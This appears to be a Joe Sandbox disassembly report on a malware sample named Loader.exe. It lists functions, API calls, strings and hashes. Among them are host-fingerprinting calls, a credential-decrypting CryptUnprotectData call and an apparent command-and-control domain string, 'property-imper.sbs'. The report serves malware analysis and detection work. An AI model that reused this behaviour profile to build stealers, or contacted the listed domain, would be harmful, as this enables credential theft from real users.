WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00E6FF31,00000000,00000001,00000000,?,?,00E6E9DA,?,00000000,00000000), ref: 00E707D7
GetLastError.KERNEL32(?,00E6FF31,00000000,00000001,00000000,?,?,00E6E9DA,?,00000000,00000000,?,?,?,00E6E320,00000000), ref: 00E707E3

Part of subcall function 00E70840: CloseHandle.KERNEL32(FFFFFFFE,00E707F3,?,00E6FF31,00000000,00000001,00000000,?,?,00E6E9DA,?,00000000,00000000,?,?), ref: 00E70850

___initconout.LIBCMT ref: 00E707F3

Part of subcall function 00E70815: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00E707B1,00E6FF1E,?,?,00E6E9DA,?,00000000,00000000,?), ref: 00E70828

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00E6FF31,00000000,00000001,00000000,?,?,00E6E9DA,?,00000000,00000000,?), ref: 00E70808

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0185329ddabf46b137ee339476bb9cc5c126e154bb4d7fd9b30a56b57c6ca550
Instruction ID: 001de7e67074ba9b4e630857ef9044f2d5b8b04a1b22bb2549eec8d9e66672bf
Opcode Fuzzy Hash: 0185329ddabf46b137ee339476bb9cc5c126e154bb4d7fd9b30a56b57c6ca550
Instruction Fuzzy Hash: C3F0F836000159FFCF225F969C08A8A3E66FF083A1F009425FA2CA5122D67288659B91

Function 00E68D6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00E68D75

Strings

csm, xrefs: 00E68D97
csm, xrefs: 00E68E08

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: f69caa62f47b4ba9f9e273ac1a5cab86748e343e8b62afa8859ee651345feba2
Instruction ID: 1c728529fce3381b0ae4f94497d0c16df279b53e1278a5a2a34c0f4ae8cbb651
Opcode Fuzzy Hash: f69caa62f47b4ba9f9e273ac1a5cab86748e343e8b62afa8859ee651345feba2
Instruction Fuzzy Hash: 24313C76480215EFCF264F50EE048AA7B66FF18398B18675AF94439121CB33DDA1DB91

Function 00E645A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E64533: __EH_prolog3_GS.LIBCMT ref: 00E6453A

std::domain_error::domain_error.LIBCPMT ref: 00E645EC

Part of subcall function 00E643A4: std::exception::exception.LIBCONCRT ref: 00E643BA

Strings

CD, xrefs: 00E645B6, 00E645C9
CD, xrefs: 00E645D7

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: H_prolog3_std::domain_error::domain_errorstd::exception::exception
String ID: CD$CD
API String ID: 2144476180-4090438138
Opcode ID: b14cfd66160c302888386a67acff454336d782a597d593cb50f6adb731ed3606
Instruction ID: 3a15ae023be90ec834df06274781fb463d2b6bac0c405ef2ae4273b571795b98
Opcode Fuzzy Hash: b14cfd66160c302888386a67acff454336d782a597d593cb50f6adb731ed3606
Instruction Fuzzy Hash: DC015EB0D002189FCF18EF69D8418AEBBF9FF48344B50941EE815A7340DB34DA45CB90

Function 00E66C50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 00E66C50
GetCommandLineW.KERNEL32 ref: 00E66C5B

Strings

H%}, xrefs: 00E66C56

Memory Dump Source

Source File: 00000000.00000002.1682266067.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000000.00000002.1682251980.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682287388.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682306038.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682321853.0000000000E7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682336982.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1682354030.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e50000_Loader.jbxd

Similarity

API ID: CommandLine
String ID: H%}
API String ID: 3253501508-1200609292
Opcode ID: d395047c01938574b027d42ecda4e3a52ec4cfa9a44a3bf97586b3989664ae5e
Instruction ID: 63507c0659055778c5af4204de37a1e7a7386e1db2b88a93e532a0be2683ec4d
Opcode Fuzzy Hash: d395047c01938574b027d42ecda4e3a52ec4cfa9a44a3bf97586b3989664ae5e
Instruction Fuzzy Hash: 37B048B88462009F8B80CF22A8880447AA4AB883023A0806A9A29A2321E73400CE9B20

Analysis Process: Loader.exePID: 3864, Parent PID: 6336COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	37%
Total number of Nodes:	235
Total number of Limit Nodes:	14

Executed Functions

Function 004364F0 Relevance: 45.7, APIs: 2, Strings: 24, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00436539
GetSystemMetrics.USER32 ref: 00436549

Strings

oC, xrefs: 0043678C
+nC, xrefs: 004367A2
+nC, xrefs: 00436760
kmC, xrefs: 004366FD
0lC, xrefs: 004366B0
rC, xrefs: 004366BB
+nC, xrefs: 00436713
+nC, xrefs: 00436734
+nC, xrefs: 00436810
+nC, xrefs: 00436708
+nC, xrefs: 004367FA
+nC, xrefs: 004366DC
+nC, xrefs: 004367C3
+nC, xrefs: 004367CE
+nC, xrefs: 004367EF
]rC, xrefs: 00436729
+nC, xrefs: 004367AD
+nC, xrefs: 0043681B
+nC, xrefs: 004366E7
+nC, xrefs: 00436755
+nC, xrefs: 0043673F
+nC, xrefs: 00436797
, xrefs: 00436636
+nC, xrefs: 004366F2

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem
String ID: $+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$+nC$0lC$]rC$kmC$oC$rC
API String ID: 4116985748-1796909086
Opcode ID: 695a188e879577bb38cc3fb94df02416cc24b95f9cb868aafc78c35ea99807e5
Instruction ID: ef683bf15187f25c91d4ff366112e881d127302a524faee56687ba3d4eda8675
Opcode Fuzzy Hash: 695a188e879577bb38cc3fb94df02416cc24b95f9cb868aafc78c35ea99807e5
Instruction Fuzzy Hash: 78B15CB04993858FE7B0DF14C58879ABBF1BBC5308F50892EE5988B650CBB95458CF4B

Function 0043ABD0 Relevance: 30.4, APIs: 11, Strings: 6, Instructions: 662
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00445678,00000000,00000001,00445668,00000000), ref: 0043ACB5
SysAllocString.OLEAUT32(21F727F6), ref: 0043AD52
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043AD97
SysAllocString.OLEAUT32(43B341B7), ref: 0043AE04
SysAllocString.OLEAUT32(3FFB398F), ref: 0043AEF3
VariantInit.OLEAUT32(?), ref: 0043AF6B
SysFreeString.OLEAUT32(?), ref: 0043B262
SysFreeString.OLEAUT32(00000000), ref: 0043B265
SysFreeString.OLEAUT32(?), ref: 0043B278
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,83518165,00000000,00000000,00000000,00000000), ref: 0043B2B4

Strings

5Ue, xrefs: 0043AE7E
c>]9, xrefs: 0043AC7A
;5, xrefs: 0043ACDB
\, xrefs: 0043AC6F
03, xrefs: 0043ACEB
C, xrefs: 0043AC64

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: String$AllocFree$BlanketCreateInformationInitInstanceProxyVariantVolume
String ID: 03$5Ue$C$\$c>]9$;5
API String ID: 2247799857-450591797
Opcode ID: c62c0b5c6604f79cf466f149234fed715cee0b101b19fe022c6bf8fbec3b9f7d
Instruction ID: 9ac7187ad6772f8ca7c49875a9e35ef196dc4b4ce2e76fefba59f5e0202edd75
Opcode Fuzzy Hash: c62c0b5c6604f79cf466f149234fed715cee0b101b19fe022c6bf8fbec3b9f7d
Instruction Fuzzy Hash: AD221F72A083009BD724CF24C845B5FBBE6EF89354F148A2EE5959B381D778E905CBC6

Function 00426143 Relevance: 16.2, APIs: 1, Strings: 8, Instructions: 433
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{}, xrefs: 00426310
<=, xrefs: 00426640
!om, xrefs: 004264AF
G&I, xrefs: 00426368
CE, xrefs: 00426360
DC, xrefs: 00426507
wy, xrefs: 00426308
YW, xrefs: 00426608

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: !om$<=$DC$CE$G&I$YW$wy${}
API String ID: 0-2763546839
Opcode ID: 1ec7d2cd2ced37879bb809c14a9de7203252ef3870e02d5b54f6eab801d4aca2
Instruction ID: 9a8044de7778d0d6d466e22f449d8050ee6d137ba66a9443c1d672f421d2d162
Opcode Fuzzy Hash: 1ec7d2cd2ced37879bb809c14a9de7203252ef3870e02d5b54f6eab801d4aca2
Instruction Fuzzy Hash: D3E1CBB5608350DFD3109F55E88262BBBF0EB81308F55896DF8858B352EB78D905CB9B

Function 0040E521 Relevance: 15.3, APIs: 1, Strings: 9, Instructions: 323
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004364F0: GetSystemMetrics.USER32 ref: 00436539
Part of subcall function 004364F0: GetSystemMetrics.USER32 ref: 00436549

CoUninitialize.COMBASE ref: 0040E536

Strings

OR, xrefs: 0040E804
2[eu, xrefs: 0040E5B3
.'&!, xrefs: 0040E89E
T,, xrefs: 0040E544
KO, xrefs: 0040E7F9
TR, xrefs: 0040E7EE
:[eu, xrefs: 0040E5E9
property-imper.sbs, xrefs: 0040E96E
WXOL, xrefs: 0040E60D

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem$Uninitialize
String ID: .'&!$2[eu$:[eu$KO$OR$T,$TR$WXOL$property-imper.sbs
API String ID: 1128523136-3222354490
Opcode ID: 6056e9c3a1a709be540547e0af84ba5085c585010615bd6174658fee07c01520
Instruction ID: ba0f01aa7e83229bb13a9e541d3439331ec7a98e269949aeb6ce0a6fb8c5a6f1
Opcode Fuzzy Hash: 6056e9c3a1a709be540547e0af84ba5085c585010615bd6174658fee07c01520
Instruction Fuzzy Hash: 74A1CDB540C3D18AD335CF2584907EBBBE1AFA6304F188E6DD0DA6B282D7794509CB97

Function 00408BC0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 170
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408BE2
GetCurrentThreadId.KERNEL32 ref: 00408BF5
GetCurrentProcessId.KERNEL32 ref: 00408BFD
GetForegroundWindow.USER32 ref: 00408C53
ExitProcess.KERNEL32 ref: 00408DAD

Strings

HE", xrefs: 00408C08

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: HE"
API String ID: 4063528623-1746803108
Opcode ID: 04d3ee208cf0cb548e8304bb321ac6dda18581d560b4c082a51554ef1d5b82b4
Instruction ID: f68291361565261d7299c916201e88e4482c51f1048bdf67861fca6b21c14acd
Opcode Fuzzy Hash: 04d3ee208cf0cb548e8304bb321ac6dda18581d560b4c082a51554ef1d5b82b4
Instruction Fuzzy Hash: 05514677B443144BD718EEAACC8635AB6C69FD8314F0E813EA8C8E73D1EE789C054284

Function 0041F580 Relevance: 8.1, Strings: 6, Instructions: 605
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

KV, xrefs: 0041F97F
P[, xrefs: 0041F98F
Y[, xrefs: 0041F815
,A, xrefs: 0041F74F
$%, xrefs: 0041F81D
]_, xrefs: 0041F80D

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $%$,A$KV$P[$Y[$]_
API String ID: 0-2045548196
Opcode ID: 2db452f1b7869ae9aa98cb25e4805c0568b342052c689d752716c494a3c11a0a
Instruction ID: 790b8476bdf2aa560b7988892981d6f6fe0de8a95ee8c2ad5aeec1499147448e
Opcode Fuzzy Hash: 2db452f1b7869ae9aa98cb25e4805c0568b342052c689d752716c494a3c11a0a
Instruction Fuzzy Hash: 930203B150C3009FC3149F25D8512ABBBE1EFD6354F18892DE4D94B392E778D94ACB8A

Function 0042FF02 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 455
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042FF33
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 0042FFF9

Strings

9492, xrefs: 0042FF3F
~PF9, xrefs: 0042FFFC

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: ComputerName
String ID: 9492$~PF9
API String ID: 3545744682-997091799
Opcode ID: 6b80d6b28ac80613a9a5095130e55e60f57fa8343b367d738bcb2d7fe2474cb5
Instruction ID: c5a370fb91bccdff778e028682b2ac8ed0f6fa19a796bdc803eab0a3459f0821
Opcode Fuzzy Hash: 6b80d6b28ac80613a9a5095130e55e60f57fa8343b367d738bcb2d7fe2474cb5
Instruction Fuzzy Hash: 09F1C520204B818FD7258F35C4A07A3BBE1DF57304F089AAEC5EA8B796D739A509C765

Function 00442310 Relevance: 2.7, Strings: 2, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 004423DA
Pt1, xrefs: 00442470

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: @$Pt1
API String ID: 2994545307-1130223541
Opcode ID: 8b88c9d42619fdf3639c75d852dccaf8f99f9a5f5c1538215e92a440236f6825
Instruction ID: 762966e0024e2f811452fd3475ceb21ce7c9507d35c993960137955cd7e5d894
Opcode Fuzzy Hash: 8b88c9d42619fdf3639c75d852dccaf8f99f9a5f5c1538215e92a440236f6825
Instruction Fuzzy Hash: 774154729083108BD714CF24CC8576BBBF1EF89318F48952DE9895B391E77C9808C7AA

Function 00430A2D Relevance: 1.9, APIs: 1, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0865ff396c9f31bd00d6471c11da108d6daaffe263a47b51c8682f0f61b93280
Instruction ID: c41996d6be1be0281655a90a2f931e4352d4469a4f0e40524e32909b16dd1d88
Opcode Fuzzy Hash: 0865ff396c9f31bd00d6471c11da108d6daaffe263a47b51c8682f0f61b93280
Instruction Fuzzy Hash: E2C1FB71604B818EE729CF3A84607A3FBD2AF96314F18896EC0DB8B796C7796405CB15

Function 0042EEDD Relevance: 1.8, APIs: 1, Instructions: 340COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00430BCC

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 9f289d5757a538b4c885218912d6092fbaada42926bac588fbfe283fbe5e7a7a
Instruction ID: 74e9f428b7ddc1b0874e61ceaf1e38c08bc6e2e383f822383331b4d43887de6d
Opcode Fuzzy Hash: 9f289d5757a538b4c885218912d6092fbaada42926bac588fbfe283fbe5e7a7a
Instruction Fuzzy Hash: 1AB10D71604B818EE329CF3AC450763FBD2AF96314F188A6EC4DB87796C779A406CB15

Function 0041DAF8 Relevance: 1.7, APIs: 1, Instructions: 152encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0041DCC2

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: cf1a30e3a9a6684cf940b775ba8c155667198d7163f8efb9c0950d58adac7a58
Instruction ID: 8089a83c30d84776a4fbe1cd0daaa6c19abfb4c3b5294b302e85351d35d8d255
Opcode Fuzzy Hash: cf1a30e3a9a6684cf940b775ba8c155667198d7163f8efb9c0950d58adac7a58
Instruction Fuzzy Hash: AB51E4B190C3515FC724CF28C4917ABBBE2AF95314F09492EE4D587382E239E949CB86

Function 004435B0 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

, xrefs: 004437E2, 0044389F, 004438A3, 004438A4

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: d337d3c8ca4ae0ea32d379bb303ce7becb27304579ffd5d467678ed5c82d8510
Instruction ID: 33451035f238856737725fffee409144898852feadc4b188259265e81bb19071
Opcode Fuzzy Hash: d337d3c8ca4ae0ea32d379bb303ce7becb27304579ffd5d467678ed5c82d8510
Instruction Fuzzy Hash: CBA148727083019FD718CE28CC8162BB7E2EB88701F19853DE985CB351DB38DE098796

Function 0042FE20 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042FEE7

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ee2a3addf450d8ecbdf4e1fc10c001ddee34545fdfe2953304fad982b7111771
Instruction ID: 9a351a88f2d3537b0affbde4b68c52ecbcbbf68fbdfa6c984787b6d7ee4c7584
Opcode Fuzzy Hash: ee2a3addf450d8ecbdf4e1fc10c001ddee34545fdfe2953304fad982b7111771
Instruction Fuzzy Hash: 12219FA0504B808ED7228F3598117A3BBF0AF63204F4549ADC3E7972A3C738650ADB29

Function 0043FE80 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0041207F), ref: 0043FEAE

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00442790 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

5|iL, xrefs: 004428F0

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: 5|iL
API String ID: 2994545307-1880071150
Opcode ID: 77b3a33a0d6a83b759d9e00ca1f0b7d1980bb83ebeb92031fe45eb8d4b8efc3d
Instruction ID: aa6fad3222425eac993971c399a85b00b2bb6d9c590e3ce03f8c5ddc944b96ad
Opcode Fuzzy Hash: 77b3a33a0d6a83b759d9e00ca1f0b7d1980bb83ebeb92031fe45eb8d4b8efc3d
Instruction Fuzzy Hash: F74185367083006FE314DF69DD80B7BF7E6EB89300F99893DE68897351E7B4A9048659

Function 00442AF0 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

@, xrefs: 00442B59

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 097e4d5f0a5a81daa57f148062418186cc4a37d79780d31817a60a84340fd428
Instruction ID: 5bd979e7b42bc9ad17b838acd9b6abf0da18b45bc182c34558b6f51f125c4420
Opcode Fuzzy Hash: 097e4d5f0a5a81daa57f148062418186cc4a37d79780d31817a60a84340fd428
Instruction Fuzzy Hash: B33110326083008BD314DF28C8D066FFBF5FB9A354F45982EE98987291D7B5A908875A

Function 00429680 Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0df8be95fb5107f51a2a052c0dc519afd675d1ef8d30bea3a6c99a4bf0bb95de
Instruction ID: 0dc7eea42554371365717e72352744fbb2fb44298d62a1295c9999dfefdfe945
Opcode Fuzzy Hash: 0df8be95fb5107f51a2a052c0dc519afd675d1ef8d30bea3a6c99a4bf0bb95de
Instruction Fuzzy Hash: BF9179B5B143114BDB149E25EC9277BB7D1DF82318F98403EE4C647392E6389C0AC35A

Function 00421F60 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df2ccab0c6c42c78bc00a7e8cafd20fe57229c4e1fd4fa4773ce3959f4f4b0cb
Instruction ID: 5e3cae1b69016b53965584127651527020ed66b9ac41f3f5f504947fa2e6c883
Opcode Fuzzy Hash: df2ccab0c6c42c78bc00a7e8cafd20fe57229c4e1fd4fa4773ce3959f4f4b0cb
Instruction Fuzzy Hash: 2B512A75A08301AFD310DF65EC41A6F77E4EB8A318F04853DF685C3291EB749909879B

Function 0042EF3E Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fd6abb364a73ec27b6f331a54ba4d6a2171968eaf0281fd0b78c8c47f3c5d4f7
Instruction ID: b500ecd861c5f9226f46c0b59c9e96814d68e26127886e1ff7441bae7b1ad6d0
Opcode Fuzzy Hash: fd6abb364a73ec27b6f331a54ba4d6a2171968eaf0281fd0b78c8c47f3c5d4f7
Instruction Fuzzy Hash: 8B4103343047509FE3258B2998A0BB3BBE2EF47300F98886DD1D78B292D769A815C759

Function 00438BC8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00438BE8

Strings

=, xrefs: 00438BF7
?, xrefs: 00438BFF
>, xrefs: 00438BFB
A, xrefs: 00438BF3

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: =$>$?$A
API String ID: 95929093-648040527
Opcode ID: 89303860c738dd35d219bf092242f9952afdc63adf7b5188b8ff3a635fb62cb3
Instruction ID: 147d37096fa15d592a57f95b5470aba2423b0860a1e7183d1e5050d0b0eeea26
Opcode Fuzzy Hash: 89303860c738dd35d219bf092242f9952afdc63adf7b5188b8ff3a635fb62cb3
Instruction Fuzzy Hash: 63113AB2E051E48FDF29CB7CD8543ACBFA26F9A200F1C81ADD949933C6DA344944C710

Function 0040CC90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CCA3

Strings

RL`;, xrefs: 0040CCB3

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: Initialize
String ID: RL`;
API String ID: 2538663250-3979800082
